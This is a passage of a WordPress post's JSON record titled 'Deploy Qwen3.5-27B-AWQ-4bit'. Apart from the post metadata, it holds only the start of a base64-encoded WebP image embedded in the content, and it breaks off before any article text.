{"id":2001,"date":"2026-07-18T11:41:20","date_gmt":"2026-07-18T11:41:20","guid":{"rendered":"https:\/\/fullthrottlepools.com\/?p=2001"},"modified":"2026-07-18T11:41:20","modified_gmt":"2026-07-18T11:41:20","slug":"deploy-qwen3-5-27b-awq-4bit","status":"publish","type":"post","link":"https:\/\/fullthrottlepools.com\/index.php\/2026\/07\/18\/deploy-qwen3-5-27b-awq-4bit\/","title":{"rendered":"Deploy Qwen3.5-27B-AWQ-4bit"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRohHAABXRUJQVlA4IHxHAAAQKwGdASr3AUkBPjEYikOiIaEiJnJKkEAGCUh12gG7djoITf4Cvvoiovl\/13XljD9p\/m\/2\/\/Lj5x+N+272z+F\/Yn5hfc7\/H77vif+H\/vvRn6P\/4v+Y\/Ln5Y\/7j9mvdb+dv9r\/ZP3x+gX9WP9T\/gf3l\/xfxf\/tD75P7x\/zvyk+BX87\/w3\/g\/wv77fNv\/yv2G95P+c\/JH\/FfIH\/bP7h\/7exE9Ar9wf\/\/67H7cf8b5XP6p\/v\/20+Bf+a\/5f\/5\/673AP\/\/7X38A\/+\/VX8pe5f\/FfkX\/e\/3p69b2Q\/sPzv4z\/iPBX+W\/dT8n\/fuOvgI\/i\/8w\/w39o\/X\/lJ5u\/UU97PrH+E\/xH7lf0v41O4fqt4gX94\/tP+z+3HpL\/TPYF\/m\/9u\/8H3JfJn\/u\/5n\/L\/vJ74\/qf\/tf6j4Ev5h\/W\/91\/eP81+1Xzrez\/93vaQ\/bQNyxfff2XBIvJLuH9WVFFZl3jZ4vvYjdIsSXi1iV35izt3LwjB6CnJ83w2v8xt6RDR4dzUPyj7PuhqmWWyOwDwXli6wE7O+zyaX2RZyOhF\/y3PGi3YB2+0eGSngly5ebCk4uhNalKbtu9F\/PtsdOSXgPerr6ew8lkVEd7d+UAHofskhEIMEG8Rw17hORcDaLsD9ntV+TvGBQMHbiUHfxf0+\/+9bxqusIlPPFF1308+EFLAZGohhAUZGjV3jYlKI+lgQBioHu65Ig8V8sz5iqYC6qk7ba4Ujkj9SGgEgRtmyqRdov1N+f76XPV2+ANMPuAx1S1ecoezPXvznG0OjNnTvBRoDl659tS+Qom87xyoeETIZWDmkOqL0gw+eRGwdn4TlLFtq6tWvPonwdZxJhdYaz0sB\/CFgX1AYWR3vp20lanhefJXeLWuVK98V5\/jS\/u+UGdJ\/VoVly2V35zylqOdr8+TvkqkZYuT5LmRWKsv3nUJERk9kIj8oA\/wcfXpRtmVOvK5j4HNyEGsUVU8LMpVc4jnByJkpo+fAmoTjZIhHblrmEafl33k8hbFOX59z1wULW\/1HH3pWOW3qCWQynbhMVIT+ssd8n2YBWTJNhi1cNq3nVvxzWuNKYA4iG08xO9upaYpFdQbLnxkmcYIRdGZkbL0I\/jIMNl0cmQ47SPoFYUEVv2XyKWExe4SWEDjES5FIXSty8HI5xS+mtQbreZvsbs9L5LLfJypVHHAtyY8suetOyP5eF2+pc\/B2uciTVQFMESs7HlVl1YTisA\/gnv\/yxmLGQBFr87Z2SW0dCGsjH1nmN7ygTQw53IpESs21TH3JXyAXTAHY5p9iupzwstXstwMrGSVTE4uLIIvX\/6LV5Sr7X1w3xvFVGHQJP9DskFKxxzPqZ1tkOX9wpm377lEJvYdW06mYgWaRfsAFiXv82sAgbbjLYe2HZXMk\/3g5jJ\/eyoOV70GB4eO0+GSmNBs3Iji3VAyUfgZnKQpogW1Grj\/vGKOnx0R9pZbSLwqyOQdN9D8tedAwV1wV+fiBLi7xG8bSC5hRzbrtyqxl11b7TgCeZ45hJvxdNQ4Es6qoEVkqIHwi+xU+FbLuVI\/68sCqlf5HlIarfU37ioQKnz+xf7pTH6WOv86CggyucM8va7P5bKzvzW3nVAZpccFINcOG4aBRULtSJoZs9py3UJW2TXjH3tBw2uz9tYyBpzz9Hn9y7GGHX\/Crvu+1FHZHp4u15M3dRfV7gxrBw0WDYIwGHxJCqCo1F8Mkj\/A7eiZdzTdYX82IjL3cXorRu\/++cMb1q4UfOXEKxEX8yw9JH1YjQSqN3JNplfQDtl82DjAr4kF3F9FSNwzxS7qpT6cQaOvSKGBqcnHnlkY8h4WNDfvKCPLhZzbGQue7zKw7jEWD05P1Kj90b9LxItJFuPLYzGcq51RotiKaJNv5rEi86G744a4zTONmG0EiRqLG3\/mQFq0WV38o9tMhv4Tfw\/fC67gFgDG57vXB9IrGICwcYQfrrwMjrT9yJAxfPJJ370mhTMWoj6p\/z98\/O3Oz1kxgWlaUpAwwv6oSVHKKWhFki08gCJI3xiODO6TK4K6CYD0lLAjipckMEr+xgr+4FopGm69kgTq7iLjkdmDtjuGr0einCOWwJJJObYHywQdI8u9AnTD9HrxIM\/SqhpUynjRFeIbg66j1kOlgwPIU1i+LIgX72girvPqyLup2phGiOtdynh+7WUdiyw2M3GxF9zS9rgUiXSY6\/o2XWg6OjHHZ3fqovfiura0UmmNbyCJHORsk1GODQRP9J\/J53WRpFfiT+zzcTQ7SbN8pUamRBclu0XRlF2oSPFVX8kXGNoLQzSR9aUEhTKArFL8Y8W1tIEOOOczfuDpvgRRos6zxlbzUHZuK5cnqRzlEH3xjvHFTWKa4mrgmNGamelA5Hywr9PsYINL0RBJ7lYhI87Ekjg1LuLRo71gOtPHMBMnJx3aM5BZyl2I\/xxFnxG5R3StfK07+dOr2SOd6XxOM1LwA0oknd42JDqTLTaSBr0aLU92py2rqKPeqeP23Cr\/0bpl\/dynJqVsBhoL2OseTu3s3HauNB+\/Pdw9dO2n7gULui3mmFZ6oyA+mK8\/8+tGP1hQHwVoEpS\/8N1+7Qt459WfvswKyAmlSPi3eRg7kuTnQFAtBp+y65+d\/P9qpw15H63wLviqFJpHCTxQmYX3TVoieuxcedgjxo2gCj+iLkMF61jnfLDJ8cMv\/Hn3k\/rvwgc6yj\/\/xbH+wrub7sfk92mc+yEj7zzpYTn\/tz4mZfvF8mMEcCiy51GYf3yVvZATyvPBn7+Qz6x9PbfruwLLT9YomWzcSpNTcq\/Kiw+sS8\/98VOpfd1jCalfJHqnzsif4h0Jr4JV4KeLNS0MzmKY2nDoqWjQjXiJ+xIp39B+xIfSqCNLNwXqSTAwJa+PFN5pcOGAKtUrRdUDlcgVUXtQL\/Pdf2M7wkNSe4KUmnAsohks4CG8THEPlwizaC5CTLaXZ5DYLAO6R7DK3mgEzlYocu8yL4MeFuDpqddpRo9d2tTYVJDk4RjvdWcExyXRYyzSeC5yXDmfETk4O46eYD4xlbv68Za8QCfH8zH0jclW3\/7mX1PBOSnoXs2VKPWKV5LQgu0sF7btzFuSPrgGJoS2JttT3QrxCVLv9Mq9Xis\/yQ3liPU0uod7lfbFA7HTdB7EHJ6q3hxAR4vDS+Bx7q+2\/AgEnfFUg+RRvBRvcjv+Lj7d8tSZMvKpEJB\/\/zKhxPIiAAP7+07kk\/5EysCxqjg4c0K3Gs+lJs6+QVcKkyzYJPdcT+Gvaz4V8Rye65NPRQ4fN3gQXn4MYrcir68Ksvz5\/QVZg+fIGzrId7U6DzufBrz\/zJppiqLPW3DyH8vgJyVKfc2rvusfaAF0hjsBlEXA9KUKRKRg8bjToFd4SANd\/dW9WBxqF4WXIbGKIMN\/CZm4kg3wW7ZiRjEad0h+9FbeDnTxBe3OS7AwhDgTxY8XZ4ja5TVE1Q01JGEOSaCG1t6onwPlaA7INdwgN8HA\/QcgmEUBpMMLMjMidJdRQK3Gf59uGV2SWfwEsu5E8qB1SZyrRkscxMT4dqpmQPw2+Cqbgo+WT1EYJiEUxbuHWF2smtiugSoiBtvjLx2ZSHNihQCG81Igbsjzl++VBqhR7fB0dOiXBR1i2InJfxPbe3YWG2eYDfqw\/+Y\/4Dn2SDdQD68zoJK6JVMKPelbK3t4D6S47TztIFldsnTFPRHVNW0uzISIHHfv5yS2FxYIe+YZp3uBvtLI6En3faCPwPLonZuSSleKO0i4ojaNL67hdnrJZ9ZZp+HjnYzrn+kntnW8mOmfohKNEwn56yuKhn4BD9j5NsUmelhv50UbEesMulwBBPdxbVDzq5QMXmwGSVUNcgbS6HWM5tEoZxZjpu3ulGW2DhJGkjfl7L9hzqB9+ZUT2vfpDnUp0b34h\/o568AVq2u1irRb6GrT2MLb\/fqHeskR4T\/pIJFULL\/bcHHscYBR9peY\/1czLbDxU2ZMmtXzEx4EG87HZ8xxZdrX3yu6YxjAnzMm4\/roMA4gquxm+twDJzJw4SN6kNY7PXWu53Uh9olf3KBOkhcct7SVmzk8mPd+RagSQgzDrl22mX45dC6EDpUt7XVxM1DHEuX+zOfLZfRfGqNBsSiDtc+HzMtLwJqKQVp7d04jOze8yuDc5FAjzdYSTu8qonnf+DmRZ166L0Tpzsetg0bJHg+0Z9QpatAaLwxXYLxWVoP8e5VwOZlv8LV16+q0Tu+VI7Jk6x+YbmhBx9Js05Vz6i+rx\/CHjPuPsKBbKhLsKM478dx7OQ+S85owqRJKQmFPqV2niovXqCToQNw9Bvtza9bXiY1dsgPSdZlQxE7GauPh6+H62nkm3O6au\/1Rgaz5vzB8M0cCpTBRZZv7qmcU2IBqVj64aA9P6tAYJeVWWqQRllbUCipAoOnGk774Y7a2DTVVYkO4QX6pewMtfMCG2GlDCI9Iqw1FTI27VF4BVMP0pEacHOeMeht7RY9\/\/FBxPF5rrRtI6YMYhcSFAjjER8QQymYsmj8x+I4Y4CnbywwesfH9PwaxluhzbWxfL8PnnBHtgUFu+2ArxX34k6Sxj8xFHmANTUrvoPL67plMD\/BN4leMsFI6kj4Z\/c7UqTKZxAdrumeFV3SE4YbvMZTJrw9tolGIz68cN8Y\/oGONk5oRYB\/MLPtWS1EVTe7omr\/1p1V95VNVQ6myG41EM+PI5qCteBk485Xk8l6LgM55ti0jDhZ\/0V3\/f2T4fIqkuD7PrSOMsXUQNcdx7J\/OoLZ0i4E\/lSMUW68q6tJFiI7Iywq9mBE0ntMCopxa7j7aGWd8wwAy008zZIY2UeiwdKuXr38MTvNDv6KGLWUvB\/5HFtTgOUa8HZl3rL6dXh2MLlj29VD3awnLo\/uuKRlyfKPhSiTViCU+BF1g9I0rKv0uo+Jys9dXb5jUBEWHv6TJz5nOedueFGU3zVnoK7qAwWe8SBEYYhEpkO6HnEnI5bvnX0AIqUHEnorKnoqM5HtVH1wc0q2rUxD9sUsdP6OCRSpFrP5yuldG3LfjyuUN\/Wihr17rDKeHzFYYcLSUGj9ftnEx7h7cNdN1tjBLZOWI3c9Qz3U7Rz90LESajYsrTMizq8uCGeNYQk2xzNmMdHV+MN93M25qLfWnBzh4WxAgmjAjvW8ilyAdUh9zQ7\/bhboSYnCtG6xtKAA+ieCNerWtY3GymcKtkrM4MR3F2fhXs4p451wvxJ1uw+5fq\/G9OavrvcNkgMEcDS9U5K4s5AePMiWurgInMnU8xC5tqTfzG6E2oFSExzdOILDnBzIstKvxQU4MyQaxivK1F1OkktqT6zcxx\/Wy05dppqmwNbrb+eeMFRIt8bDgvmbIgoMGiR4JvCOA4J\/th8SxkhBHJcr3CF6w\/VTi8VPUBXRDk5MvorgNCd20qFMXt2hAVMGx1tmSUIz+Pb1wzV9hez0Sx9GQj0eUemlGZnV6EiLhiYdZQCrxqtS2j1vaPXDoUQnXfz8gZrUtSnRfWMea+hfHIw94QnvVzXv4Duvu+OzCuw2aWaaWE9YKCviwbwARBuJW48IG6tE76kUq8zj66+SDawVDBwePHQt+65ooO8ZaW5iMIGN068ruLaepyeGFbn18jLdhC1pPe7Ri0Finrgky0qelP9XdLLDx+2OdQchUSqn9+7LyUg8ibzUjk\/gdLvliZkHUhGMa1mG8o5z\/rQYJHTj1ZP06ZwN8mNdyXJosSuFrIjEWs1rUsZeIzfkSaNXji1SuJldFYoQM2pfxjeBp1ycdT+U\/p4nv6OP5IlvknUmRIPyiR6W83VG2AL8VHvcU\/SYf2eFrZp1Xij6KWi0myPjrDBdjj1WHfcgNWsyEXeHSGQACv26lUhTGxtc82lo6eDnBeIEK3K5WsZa9F2sulrlRycL3h99eJ\/DpYj5n\/4AnUsaoUi9vkTG7q4foYi3Hy9DJgekkSkKaE873bQ\/+WLUas61kiLLUnzZVIDI5HIa79y7sjd8N8cjHC4azh8+r2GyUFCG\/5cPvaHvnyvWcd9JmfMU3\/Sj2kBlkpFqUkLHTPj4HaBSyCOSV7\/66prYsHMr3HkVT7dRYB86KDSB7ZxyyyPA6QzrjfZFqKhsz\/rR+wpprpjDGbJ\/k+y++mtup6xjKTjIrDvmz9u\/A2QgxTDWK584UlEMZ53xFs6XwytkMwRPXe5rTlcKew\/BU5slJxhQAIt27DCGYM2HlwE+QbMCXjLDNHOK3oTxRJ5msnN9EdKZQwDpxPve3nv6vXKxKlOEl\/74RpaKA8x+hgwIxM\/IaNSr3ScmhHVia1FZBaM\/MAVDZDLcfWmH2dqWNkUNwWLIY232B2AHODB5OCh8wfPR9kzyp+5piZjn4bYHsBy2ilSH3VVLbkfVPadMgO1\/y03jLk0IVqOBXX\/k4QLGLE4K2AqRkv5watDEXV\/\/IkvNaVbq0S8eW9kc9GKxMw9iwkLuScs8VF7M0tva\/XoKnyZZ72RgtvOf7Ei7iWwt9wepFWRW+mDOoqsXwhVukySXmSD6uuRT3ZwnGiNTv02qJ9wRcFeAtJSZOWgxnOGVj6uSnLUt4MtGDID+nXdJ+RBbvFf6k+q7EaXlFU00rkvR6S9\/NyjF5rBSVLvI3H9HIZGTvdYbHbcrIOZarUYYHkXHO8D1Wg0JvRWcRmhkhXIGjCkcl12jozVTEHOvATf4df+yX+5LgIiZJPt\/yw13z5vOUTosADDBy\/Os3YBEv6rwleiQmy4Vaz27WeVnbDwwAzoRN35\/iDzj1NtAND\/yCoNaYqYrcGVZ347LqPKdudo\/EPEyJUnbuDJzsrogLnZyvYwhIvdwcTDVGjxodqfwlHLpRHlfxQRR+JHqwERJdaXU01+rSE6KgGjJdOpRpsJczZDMdyd3wmM+N+TcPPfVBQ4BBo47rAzyr0KPlphEy3F9zUUV1M2SYF3c5poNXyTJUwqXBonX+4jyb9MTYa2F9mJn2JL8PtF+eGQpxZHvxPP03Wdr4uzSuxbiHXVopwoyZM5sIRh2u0cEvUBzx+V3\/R1MvSP6a81NpKCreS1\/ArPGQ5ZaHND8thh\/xTw\/ZqkdmnVRP4vLweX8aC3Nrfd0aB\/6KJKiFlbQQrhRZZHF9vEHcpGVQURQPnx4\/Ik9OB0+CEeCcJ4CPjVv343+dzpp69GDfy6uEzeHvdtjgZs8ILi3ysknMZ2GMIpj912hsC++hHIXXPCzZ3dlCUc\/tA6kFdEH9q2zCMMWTg2m\/XqIfXLc5g2PMPvLyAbnf\/NXhwPxBoHT6EMpMnYlJEgICdbVeZSwJRRQAieqplTVf\/ywwPR1rl7aaFvbmg\/I9gLzQXIv1FigXxcskAqZZQvJL+nzvl2Jse9njvFTDqIXFVogDwFPRBIsFP5zYAdiVmKAvBRFlJZkAsFWCObRSltpVopR00JzGcDH4sFl679i0jPuSuVqTyApkYa25SoeekeY8sr9pTvcuWb1baO5Giwm4Uxkf3cWrJ2SG3IIJ47K3o2+KWk5IDCjyPZ8rYGCcax6hZIbLtUJyGWJBEmiEYQOwcw5kTP1UIiq4p2ccuha\/mTTy9vSx\/ecGhJH24IMIn0QQjewAHfD3iofd2jMqCDstk2sSSt+vfpH8X4lAC516YnX4+a4kcVOqdpgYUx2OYFJxBNzLcPBBhH64P9uSTg6iPQTW841KSWk5cJ8R3E8P3KfGQu95i8a\/GU57MQAod+sm58HMmLvRnwe3o+VFRusKHoP0XubgcUiV+EzoiHtMUPLrBQkqI0vdrZVhvjpTpCGuhkdDDXkoU6gbbzseSjuc5A6+U4m9SyEiVr0ZEn3WdH\/QAveF+Nk4gbQy8\/gG7kw279K7Y5pDWdrEKS\/zjE59bruDlMCHaIiuBUjKNVCe+OIWyy2KVi\/gSkYnSM9fGFZbHKW8rvmOLLBSfo\/wiePHziY2nL++6BdSAU9VLjSduFgMuX5U4wG5jBehzm3lmWeHw3noDJy\/ExxtDZnBvMaqTmZaUhF+\/mP71BbcUvPnzNw9tAdvs7RUBKEARmbjwYMq9+wxDmUkTaoUENXVUTvE6Oew6Nya6W62GH\/y49PydcWRIEczEbwi46\/ZJ\/lQVarSm9fTqwv5H5boxiod\/9soSPr+BOuCETuugW8ZXZsopw4rXFcyYk5dklVlFqgYacKLhx9TCGHQlxfOrdqvv9bfx121l20ll5vCiP4TkHjdp8cOUYChhpXY\/16Hn4Wa2XSEFHhBROsOX3ObBnkpQJpsSTriVO6KQ8L5WaKy4cjwQd2XnuScvUe9zpIuwzHQ\/lRmdMawwVlDtq6Lfto3QyU16FLjdaxfA1IhsFT+fq5OpfUBIetyZA1Yeou23lKu4F\/wt55HNAybdgRiTlAjVNQMfREBvF1lSFmrmIzMKPmzZIV97m1wlBxnjfQFUUZUAkYdGa2EAJoir4vCh8j3tjjLN1nmVF1V7bcw\/YScGqk9T4b\/gEL9by5YFiBDXoQdEpcj4iimzo3FBQLcZGkeLtU8vhoHxbu3SHwselhUwNFhhvZVW6dZzEkBYwEhxDlk2aopX76MJZW6UGCyYvpjPr6Mus9XwvOJ+SwMpA4KxHSmFVlPMLgHnnnriUXb90Zs+crVPhkwC+LUOLSHPzMKVfIIgZEvHf58xn9X1FYeIP3a\/smakQ3fqYbMsWVDSPp\/QccRKMF9vPJTzAKxylQnu2IS\/msGAAMA7+QS+P4w38EuyvBxurhCXEoX8WAgNUZvw0Rjd0NUqr\/oSlNytbjviVL\/tfewNEL9EFtDTN0B7H3jWfowxfFUGpnvSTGNXYAT\/K\/5Rit0tCXppp72GK8EvPbSaYfiCZFejVSQ3YoXVJ6NChnY2DN53FgXA3wajmjFM4Tnv9sU76E5EfITasKRUP8FDk89GNLDhkRasvO4HmuahYPV33HS6l3ffASxxFpTFCEe7f9h1PR643tGyHvSZxMiUJbpuyWMkF2oK+Zt21RDGX4rax24twFvx23TZZ55bire\/W6tdRi2kX7ywBgOP33LYH6AkwkSop9wIsFXzO2h7nqMRjvxa8+V+hVZNmbOge\/lSmcNUgEgoFOP3vutq1jqkKqZwS3qzCvLTWVl57Pr87fEtdn9BSgE54RMyguhUR6eihrEniqp6MKxEK7XglYoioHc\/tOWBOe2YqRwX0TEvfOHuy2+PjyDjJym6\/CK0+m\/LI7bq7U\/OsuwIXJ0e30fYYk2eyWGbv\/5SMToHQaXmapusM4km47kYEVhi9BL2hL+ECOkpC3A4ssUdBwe+qa1ytzeDT++OMvhwupdkhK861Q\/bA4QI4BZ\/en0ScfsYgf5aNRlK3Aes7FDcS1mzp2zERcH2iiABNA2a1nd\/nJkEiBKWc1WT8AOG6mLpeJUL+qYMn1ej3877VhcVE44KX0c7W4anAhi6rkv0Pkvhfq2B46gDWh3l0Z56\/HORtfMb8qth5wDaqavpBtgnIZkoabRJQhflwWfsvkBwRoRZIbW\/OxZK554XnSyzt80wXfhRX\/oDGwU7Xy2zVNcu\/Pp5jGosf+XTGkFfcmvDjyZyW1f+pCy11hrjekAlH1zpePTEBT4tBSXG1jAKzyoUxWS8vYZlXApDmq+5G7TbcC35YggRn4JZAzn99Epunw7eThWlEptwg48blF+f9TCNQKm3jHfO4XZ5djAII3yA+LowMvVzHnxBi1FTMFP3WdxpjtmIcXrN9afOZWKPv\/O3hr3YAnGtKsoz4pocMVwTwmb5ptn3QoNm9ZRWnSHS\/5SYA+nLb8k5hKEGclZbjygmDFlU+qYmv+ars9WNfMlgWnNcDs0P03ekg4mVsxo581UL1zgqxzeoSwwfdL\/\/hecZEgbop7IbnJlOr2dr99R05NGZSD1s7pin8dehstOw3cPpwL3l\/JrLjBAfp4jxsoRd11C3ssgb85YvuOYQ8qQF8NTa+TpbsX6\/KDl+4uNvh2G0wexAgi9FHCsJpoBL2xPhHXcsuZOZzRBBcBgcFS60eYfDXBlv8rX\/NOIpFqTIQ45d7sZkbO+E2gvj12\/0U8xiaziIIpEsnXMFYov1iXay+oNfuuDrSQReABThN2GVsmf5rLfPCdFWL\/elLcp03PTl6cub9ADRetatsGuJLVtz3aqbuQo44hhDNTeBZ0Z41+yXgAp9i8t2yuoWRHqbBhstM2kofwzUnLupUBdv\/8YQcvmx1UxJwSsE1MrnspPefSytcyyGLPMif+nPn6T+7u3RoYwc0I7DetP3QCyMIHpzPgKZrOUrqB5XH338CqrxPQxoJmPGsiTsMe2KzdykQgz5YAZpgw1rG9AXJ2jnL\/\/Zitt9hVY2Lv0RnRDYdXbR+WuJHSOPgwjlyYLwO1yStBQpoi6r6TWSPxr4oVJ38lZyC\/SneEoxD8AQd\/hNFtxxEBCre0DV23vgZ7ePi4zZj4d6e2Oh9DpMe0utjvRMaBt4ReaImQr07jPScQmtCu9ip9kOqYCVweU0d5gXZimaSom02km6M5oFgx\/5toOBcQQbQPEmSkH165bOdGqjf5juGG8NPBHH8y36v\/UqmqaozgYGiHQOaqCj2vQtoDNZi++uMJ2r8ZHvsXhkPg0+KBV9X0TQAryOycesLwIfVPHrLXAgIKERBKs\/YfTVz57yZKwHkyrz0OfE+6FBs4K+1ABXxEVCnAh04NKwwkP\/i6pfrlMNXn612B5nHsymvjNsCgQkn2zCZzUvECoVSXKiJy6FIBpmfFH\/SVHZlOYDQM+z3V6gerA6kLZdqIcr5FFfuJcK0dErbR82jLQHUlyf37BH3LFKydAH6y22vToHzjTJmXoUBReEYPhdydSLpR+9wRp7kK+enXTI1IokROgG8\/nLdeZqIf9yCmODQzMXkv57apFXiNRKMx0V0jCA0+GoVJhs3G3dYQ6Ni3qYHGVZ74iFq2+yC79vIfedTeVPoMbRNkcIAB5AnNFhmycLYm5cFIrM2qARQVFnCeWmdD5+2tv8GWC1gDtHGMZChV3xH5kqFdxCe3EGPOiVlAY1bxGjsdrYMAICaYN5Lni2v16AhIUOBBqFePs2XxTaY1MfpqbFCHrU5ULSyLNDKHO0T7FxpI\/D8+4dcgHl1Z\/WVZwslKxeh3SwEiQqGcRF88O34QvO71PT5mjy8BttYccnf8gtehZopHIoJlmsSgnYDLtzsjZkOc+mBzS25fj0wwWGxl\/FBf7fi7+X+CfoXKSah2LnvXaSP3nmXgcmN44qCaybtaXPgKlK0VcFzUU5MgqoEmVl+ptI9DCfEfVQZA+D3V4A82HqcauROHHsPX+9MWs13kNeyi3rXNOuGZcl07B9hbgjc45Z\/chYcuWpsb9EMzNSPLCqlwUQUGW2BWLYX8bEge2f2PydH+zBRBNsUCUZTlzazaPt1QZ4YQb6IbWNC7BTdPandYq3mHZ0Hzpjt\/7hgeSi\/F\/54UzRHW5751PQ01HzMCX7eQWQ\/RBD0GnTFcZzoKUc6zhb+D+k4Gzk0hH35AYrsxtc5SBfqAupkKmBgt4sx6YRhNNqP0QAOpzDepUb6niqWvMJoxksNqvBOY9Uu6PufxGvpslLuIumPxdL+IsJVcKl2FLbGNe5jsSmg2S2hhrhRW9U3fnfhd1StCU4+4EfgrR1n7hsK0RGbBap6kpVthgCgjnBNWTbS13YUoM+iay0Ag3jXIGlNQgjamo9WSwwrxYztsdrfnRj17EiHdRHVDMquB5BbIJBnF1BsSqecP0+3V9op6sVTsPY+r8TzHE2QBxxqyuoDqqSkwkg6UINeGbo5ULCxkfWHcp2spoaKEpITNq0AgAisEQCkFfzjsQIEh6W6Kd2latRZiA4DBwUg67PdTz9\/HrjhyzHX5Qb5ZPNCifHE2d30rf4ZOUagDtu3bk1e9K456sghO6uS1JMxPq3mDKaXDevq2RxQgMOrEu5on+c\/h1uMadGA74EGLb5Z379tQ11nG5DliDcuVKwPPnUHgGngn8aUkG7g66q6EeOoumS1npV5CuDa3c0owYuUX1yJQsKOa2ISMVRAVpq2zBLo9SDonHMOV4P+QiSmYlFv5eapHT6R3Ic7SQ+7a5RBV6Mh466tPUcvUIG1CvifuYKzEoRazYJ4uei38PmqoaJzj7N\/5pe\/\/LkuXnGcXpXRzyN3nRviB+8+XLwvDML\/g9U4zwE5niXgoPsk\/Sz9QP\/8FEDu8xQwxhyXZLBlMRcBDfHzifGlmRFnur6RO0nkElwsE\/G8Jd3YOGU2l14uv9PNEVOmRqOWwAmOB1BRlITtYBMTkahvx7G+84vnrJG9aB3WHeRrvSUxG15Uxd3clfVjzICccZl7KYFIQz3oKwOIvQLjXyJW15fATrnonkjb+vNZ\/OAIvHs5+X\/TiPATGOWaw4kKGjNZ3DW6BkPTH2MlYaiG4z44aAK5ieW\/nY9cGy47j8NHlikGK5jXvJ48XbTcx5\/RCL33UvHObUpiwi7IMW6dpe16DqLwHgIPo5XIxXqeNg11xYXMy\/AyZHX74Cw6G8T42O\/AIsc4SQLIwcsRrZDJ6tMmc+z33\/VHBIIIq190IHNuqMHkjuigy1zYG2xa9Z8siBlx+FRBM56J2EM8sqzpm0dYkAhYMfQ32URiQYcOHk0z9nvtlX2Hvn37TNEaknUzptInkrtl0+i\/xVfNP9IkXMZ8vspADPeHKsjhmhXIjSOcbwSbfXclLGNuHteDkGjyup7+51vcryGhqEDcnGWNClqnFX6xrn5mqp92Lys9lTqsx2bMX+7cZLgtsaiC4340hsG2aRJWUfV9\/RgdvfaIGbL3QHOMvJtuYV57HGYqst44E6k8mHC5GbfDsDad1ms7PnQHy1sb\/p9KPu5y0lJdqq6D\/BM7V4+UE+d\/1XCVQvrGWr3EQXRykOW1JcI3\/d3PsvGMBIGfViXBTAe3PY1fwkQethloaP8\/4WOl1mHWs1TBLa7ZXzn\/fFt9+s1nzts5EmyAXUjgtf4hsZqWQkOtgGYVF5ds\/nrJ3Ozd9uyz\/PoyFlanHaFq\/5I9ReNtiKhmZ4OJwucjFH05UaoCRd+i6q0mJd+pfZEmg47677SKOnpFJwFo0YRs6i\/2iwCw9Na2J+kribtn4EemId9msaRP2l1LIyMnUaMChT4EQ3qdKH1iGmk0ppkHvMEXLFBDcpevXj7Gcu8vdbonXcLveiTjHoor8k6TRzKpboP\/QoFwT3JZxMiJqIwsxzXhFX3h+uEjk6X+U7FxKrLeupwWq0oQ4x+8y+cV0trsJ68UL9UcqqCtb8kTaY1\/aqTYP\/jL6j56bW3NJ7ahiCjbSBGc0CSkhINasbBLmdnaAzfMm6B+eRI+fJY4MOjYb1iGsQN9Tu5s7G+45ep6nQePm8l6BRjVGmg8GceiohZXq4YkNMpDsQnMLC+sMlVsexU0u948kmKqBDXG8O9cjCOjyOYZQQBEex\/oRJ01WdJ+3FNHK\/N\/w34FXHjxo3us68aTwX0sSyuccRqDH7SOeqL4qqUxkkqDjFqlax+BukhSmAwDUJWFu14L02A3El6hRIBLpdEHLo9dwdM6gq1ZFmmTqXZCxtRdxtcwnL9gmNVsTXnR4MD7znZdOwEKQydhiLp1PgGDyWmV8qE7Lgrd5etvnYKr98Bvd\/NaZCtcShg28Hdyrh0gP4POJ0P0FSyrn\/6I3vR7p\/R0dHQwxC8J\/2DgrOh0ryuxN886B1p5YSY1H8WQsB5w9Su5ZlANZcwiGaQQ+kQm\/yuPM6+b6fCviWjrhU+ToTvXcWWd1+RklMVMH5qZKoAapEdpfU2czdxUQRWRwyWSiFSHHT7NRTzlcLUkPh8zlRUA54XIisTO4lpDfE5TtDVTYXruTm9Ii4LE0l8FVgIOI\/jGEnILwQV\/P9bsGArhd33RtcGGL8+AaK\/OUHhsWtuy5p3AODK2EpLcI61xJJkJ+OhSj1XAqlNnDgA3zy\/xGVqs3pNPpem5v\/2Gm1rphJG+kbR6H9guVugYEXYtl5wUr08mqWmbm0CvN6rGahBlzaNkje9N5Eqk5Z0I+w\/nhlkS3YuAMBSQuGrKsMhOHtfhqpJOR52qgX\/KuOZmFd+z90HrhoE0jLrmmuXMm3zJgLwMJDDRuJ4Mu1BB3Ofdf4P5MmqQe2d0BehfxHMShZGiTiWHVqgJ3+Pyv2qiafMvaIwC7OKml\/36asaKIYgQebxZzso8O3Jx6cjvQNAdVBIckk\/x8QuWLR5tajx8h0VIOmMR0PUzgadO3KYzZ+TDv+hNFhic4FT3FUGtXsuSbA4XX9LTG\/P+HR+lvCZ6RxUJhJk3rgFEUqWRq5QrrokeqAiyy6iVeWWvhYySpZQO8+z1OH8nOyaLr0poTTNuRXlvfB7S5su\/nMea6F0dtOCTigkuA4lwgaPfjKYSONiYyjnc6erNbaLtbdxjq\/bqzUjubUZOyxgMkpcLggWCPSbXCJ7j+IY2NYwGefJ+nMGGpR3+ZzIz9ku7+9Bor78eiCYvCrtsDXPOdk9gg8Iviu8lIJhK22feSWdei5FdWeLObNyWbOrRY8pk5hCK0Yq9ESXBe8PE8aLa0HgCNLRaVMguTelmf8Fw9ukmR711F0AvUfMrfVmFCVaSgC3\/+B9pKDHYbMo3c9IJnHQddBhgxqENOuj6mRbWwg+JiJ4lZxKZDMf+bBCbP0nJN5dIsRR916PJrqNyR4PwjOjOyCQybZ3Mt8fYng+AgKP8KFd\/JHQrY\/4VgP4lkXJX9\/HwKgv54rKnW5dCBvAcxi57OXgGG81jF7cO0n+nEG0Zw1MefrIEDwwiYVbFFqaErSE9tm4zjFjtLJn84P8V7tpZKPkIfxud3rhA77sce+0SMmdWVf\/hnb6OlJvLdX3CrpjnDknltxtEAvhgNGGMjjccUJTjdiPDxC1lpkndpP9Nc7iTKre5hYjoThf8jhVUpCMRDKIawiWEv8CkvBe9O84Am45pWj09GxSjUmuJ8jDb8BEwZRILAIHAhZDTn0jEcKdULDSy92CNnmxnfDrdIQOyIOKIgBSANfI\/i2Az0okpNN6CdQcNSPj8FP\/BcCXQXpHaCDY8YcHiLpAhdsAirAB1sIjqJljQwpSfRKP9Q+yLdMiGPzJ\/6RG+oVoHvBOeN\/36jM92K\/Re2fNifcm2t0TPSBSytIGrnhZ3Yp3rsgleJ+dxfJlQwh077+D\/EY5FLhAUzm9UPIQ1ZNVZ2YtOq17qrRuS4f3jMEY7vdpz7idnURXQv9uWBIDXXaXOGCzIOcvGgz4i